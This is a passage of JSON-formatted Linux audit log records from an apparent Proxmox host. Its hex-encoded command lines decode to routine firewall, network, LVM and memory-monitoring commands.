{"@timestamp":1781964175194,"@rawstring":"node=pve type=PATH msg=audit(1781964175.194:59913): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964760539,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964760.539:62471): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175188,"@rawstring":"node=pve type=PATH msg=audit(1781964175.188:59911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964759.915:62470): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964175188,"@rawstring":"node=pve type=PATH msg=audit(1781964175.188:59911): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759915,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964759.915:62469): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964175183,"@rawstring":"node=pve type=PATH msg=audit(1781964175.183:59910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964759914,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964759.914:62468): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964175183,"@rawstring":"node=pve type=PATH msg=audit(1781964175.183:59910): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.533:62467): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175178,"@rawstring":"node=pve type=PATH msg=audit(1781964175.178:59909): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.533:62466): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175178,"@rawstring":"node=pve type=PATH msg=audit(1781964175.178:59909): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.533:62465): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175173,"@rawstring":"node=pve type=PATH msg=audit(1781964175.173:59908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.524:62464): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175173,"@rawstring":"node=pve type=PATH msg=audit(1781964175.173:59908): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.524:62463): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175167,"@rawstring":"node=pve type=PATH msg=audit(1781964175.167:59907): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755524,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.524:62462): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964175167,"@rawstring":"node=pve type=PATH msg=audit(1781964175.167:59907): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.321:62461): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964175162,"@rawstring":"node=pve type=PATH msg=audit(1781964175.162:59906): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.318:62460): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175162,"@rawstring":"node=pve type=PATH msg=audit(1781964175.162:59906): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.317:62459): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175155,"@rawstring":"node=pve type=PATH msg=audit(1781964175.155:59905): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755317,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.317:62458): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175155,"@rawstring":"node=pve type=PATH msg=audit(1781964175.155:59905): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.313:62457): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175148,"@rawstring":"node=pve type=PATH msg=audit(1781964175.148:59904): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.307:62456): proctitle=\"ip6tables-save\""} {"@timestamp":1781964175148,"@rawstring":"node=pve type=PATH msg=audit(1781964175.148:59904): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.300:62455): proctitle=\"iptables-save\""} {"@timestamp":1781964175145,"@rawstring":"node=pve type=PATH msg=audit(1781964175.145:59903): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755295,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.295:62454): proctitle=\"ip6tables-save\""} {"@timestamp":1781964175145,"@rawstring":"node=pve type=PATH msg=audit(1781964175.145:59903): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.287:62453): proctitle=\"iptables-save\""} {"@timestamp":1781964175142,"@rawstring":"node=pve type=PATH msg=audit(1781964175.142:59902): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.285:62452): proctitle=\"ebtables-restore\""} {"@timestamp":1781964175142,"@rawstring":"node=pve type=PATH msg=audit(1781964175.142:59902): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.282:62451): proctitle=\"ebtables-restore\""} {"@timestamp":1781964175140,"@rawstring":"node=pve type=PATH msg=audit(1781964175.140:59901): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.277:62450): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964175140,"@rawstring":"node=pve type=PATH msg=audit(1781964175.140:59901): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.271:62449): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964175140,"@rawstring":"node=pve type=PATH msg=audit(1781964175.140:59900): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.267:62448): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964175135,"@rawstring":"node=pve type=PATH msg=audit(1781964175.135:59899): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.262:62447): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964175135,"@rawstring":"node=pve type=PATH msg=audit(1781964175.135:59899): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755258,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.258:62446): proctitle=697073657400726573746F7265"} {"@timestamp":1781964175135,"@rawstring":"node=pve type=PATH msg=audit(1781964175.135:59899): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.249:62445): proctitle=\"ip6tables-save\""} {"@timestamp":1781964175130,"@rawstring":"node=pve type=PATH msg=audit(1781964175.130:59898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.245:62444): proctitle=\"iptables-save\""} {"@timestamp":1781964175130,"@rawstring":"node=pve type=PATH msg=audit(1781964175.130:59898): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.241:62443): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964175124,"@rawstring":"node=pve type=PATH msg=audit(1781964175.124:59897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.238:62442): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175124,"@rawstring":"node=pve type=PATH msg=audit(1781964175.124:59897): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.236:62441): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175118,"@rawstring":"node=pve type=PATH msg=audit(1781964175.118:59896): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.236:62440): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175118,"@rawstring":"node=pve type=PATH msg=audit(1781964175.118:59896): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.233:62439): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964175112,"@rawstring":"node=pve type=PATH msg=audit(1781964175.112:59895): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.227:62438): proctitle=\"ip6tables-save\""} {"@timestamp":1781964175112,"@rawstring":"node=pve type=PATH msg=audit(1781964175.112:59895): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.220:62437): proctitle=\"iptables-save\""} {"@timestamp":1781964175105,"@rawstring":"node=pve type=PATH msg=audit(1781964175.105:59894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755216,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.216:62436): proctitle=69707365740073617665"} {"@timestamp":1781964175105,"@rawstring":"node=pve type=PATH msg=audit(1781964175.105:59894): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755210,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.210:62435): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964174757,"@rawstring":"node=pve type=PATH msg=audit(1781964174.757:59893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964755203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964755.203:62434): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964174757,"@rawstring":"node=pve type=PATH msg=audit(1781964174.757:59893): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754533,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964754.533:62433): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964174729,"@rawstring":"node=pve type=PATH msg=audit(1781964174.729:59892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964754490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964754.490:62432): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964174729,"@rawstring":"node=pve type=PATH msg=audit(1781964174.729:59892): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964750.517:62431): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PATH msg=audit(1781964173.184:59891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964750.517:62430): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PATH msg=audit(1781964173.184:59891): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964750.517:62429): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PATH msg=audit(1781964173.184:59890): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964750.509:62428): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173184,"@rawstring":"node=pve type=PATH msg=audit(1781964173.184:59889): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964750.509:62427): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PATH msg=audit(1781964173.176:59888): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964750509,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964750.509:62426): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PATH msg=audit(1781964173.176:59888): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.501:62425): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PATH msg=audit(1781964173.176:59887): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.501:62424): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964173176,"@rawstring":"node=pve type=PATH msg=audit(1781964173.176:59886): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.501:62423): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=PATH msg=audit(1781964168.165:59885): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.493:62422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=PATH msg=audit(1781964168.165:59885): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.493:62421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964168165,"@rawstring":"node=pve type=PATH msg=audit(1781964168.165:59884): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.493:62420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964168164,"@rawstring":"node=pve type=PATH msg=audit(1781964168.164:59883): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.192:62419): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PATH msg=audit(1781964168.157:59882): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.189:62418): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PATH msg=audit(1781964168.157:59882): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.188:62417): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PATH msg=audit(1781964168.157:59881): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.188:62416): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964168157,"@rawstring":"node=pve type=PATH msg=audit(1781964168.157:59880): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.184:62415): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964166092,"@rawstring":"node=pve type=PATH msg=audit(1781964166.092:59879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.179:62414): proctitle=\"ip6tables-save\""} {"@timestamp":1781964166092,"@rawstring":"node=pve type=PATH msg=audit(1781964166.092:59879): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964745.171:62413): proctitle=\"iptables-save\""} {"@timestamp":1781964166084,"@rawstring":"node=pve type=PATH msg=audit(1781964166.084:59878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 